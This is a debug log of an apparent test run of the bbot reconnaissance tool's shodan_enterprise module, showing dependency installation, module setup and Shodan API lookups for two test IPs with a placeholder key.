[DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 21:46:47,770 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 21:46:47,771 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 21:46:47,773 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 21:46:47,773 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 21:46:47,775 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 21:46:47,776 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 21:46:47,778 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 21:46:47,780 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 21:46:47,781 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 21:46:47,782 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 21:46:47,783 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 21:46:47,785 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 21:46:47,786 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 21:46:47,787 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 21:46:47,788 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 21:46:47,789 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 21:46:47,790 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 21:46:47,792 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 21:46:47,794 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 21:46:47,795 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 21:46:47,796 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 21:46:47,797 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 21:46:47,798 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 21:46:47,800 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 21:46:47,801 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 21:46:47,802 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 21:46:47,803 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 21:46:47,804 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 21:46:47,805 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 21:46:47,806 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 21:46:47,806 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 21:46:47,809 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 21:46:47,810 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 21:46:47,988 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4625972000 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:46:47,988 [DEBUG] filelock _api.py:334 Lock 4625972000 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:46:47,991 [DEBUG] filelock _api.py:364 Attempting to release lock 4625972000 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:46:47,991 [DEBUG] filelock _api.py:367 Lock 4625972000 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:46:49,170 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:46:49,170 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:46:49,171 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 21:46:49,317 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 21:46:49,980 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 21:46:49,980 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 21:46:49,981 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 21:46:49,981 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 21:46:50,201 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 21:46:50,202 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 21:46:50,312 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 21:46:50,312 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 21:46:50,371 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 2 targets (2 in whitelist) -2026-02-27 21:46:50,374 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 21:46:50,375 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 21:46:50,884 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 21:46:50,884 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 21:46:53,570 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 21:46:53,571 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 21:46:53,571 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 21:46:55,580 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 21:46:55,581 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 21:46:55,586 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:46:55,587 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 21:46:55,587 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 21:46:55,587 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 21:46:55,591 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/hue374b0nf8pnqvzaqix -2026-02-27 21:46:56,562 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 21:46:56,563 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 21:46:56,563 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:46:56,564 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 21:46:56,564 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:46:56,565 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 21:46:56,565 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:46:56,565 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 21:46:56,566 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 21:46:56,689 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 21:46:56,689 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 21:46:56,689 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 21:46:56,691 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 21:46:56,691 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 21:46:56,691 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 21:46:56,692 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 21:46:56,693 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 21:46:56,693 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 21:46:56,693 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 21:46:56,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 21:46:56,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 21:46:56,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 21:46:56,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 21:46:56,694 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 21:46:56,694 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 21:46:56,695 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 21:46:56,695 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 21:46:56,695 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 21:46:56,695 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 21:46:56,695 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 21:46:56,696 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 21:46:56,696 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 21:46:56,696 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 21:46:56,696 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 21:46:56,696 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 21:46:56,696 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 21:46:56,697 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 21:46:56,697 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 21:46:56,697 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 21:46:56,697 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 21:46:56,697 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 21:46:56,697 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 21:46:56,698 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 21:46:56,698 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 21:46:56,698 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 21:46:56,698 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 21:46:56,699 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 21:46:56,699 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 21:46:56,699 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 21:46:56,699 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 21:46:56,700 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 21:46:56,700 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 21:46:56,700 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 21:46:56,700 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 21:46:56,840 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_x43wskr6h1 -2026-02-27 21:46:56,840 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 21:46:56,947 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 21:46:56,948 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 21:46:56,948 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 21:46:56,951 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 21:46:56,952 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 21:46:57,051 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-02-27 21:46:57,051 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 21:46:57,053 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-02-27 21:46:57,054 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,055 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:46:57,056 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:46:57,056 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 21:46:57,057 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,059 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:46:57,059 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-02-27 21:46:57,059 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 21:46:57,060 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 21:46:57,061 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:46:57,062 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-02-27 21:46:57,064 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:46:57,065 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:46:57,065 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,067 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 21:46:57,068 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,069 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:46:57,070 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 21:46:57,075 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,076 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 21:46:57,076 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,077 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,077 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-02-27 21:46:57,078 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-02-27 21:46:57,078 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-02-27 21:46:57,079 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 21:46:57,079 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,080 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,082 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 21:46:57,199 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/1.2.3.4?key=deadbeef HTTP/1.1" 404 None -2026-02-27 21:46:57,217 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. -2026-02-27 21:46:57,222 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 21:46:57,222 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,223 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,224 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,225 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-02-27 21:46:57,226 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-02-27 21:46:57,226 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 21:46:57,227 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:46:57,227 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-02-27 21:46:57,228 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 21:46:57,228 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-02-27 21:46:57,229 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 21:46:57,230 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-02-27 21:46:57,230 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 21:46:57,230 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,232 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 21:46:57,323 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 21:46:57,333 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 21:46:57,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 21:46:57,335 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 21:46:57,336 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 21:46:57,336 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:46:57,336 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:46:57,337 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 21:46:57,338 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 21:46:57,338 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 21:46:57,339 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 21:46:57,339 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 21:46:57,339 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:46:57,340 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:46:57,340 [DEBUG] 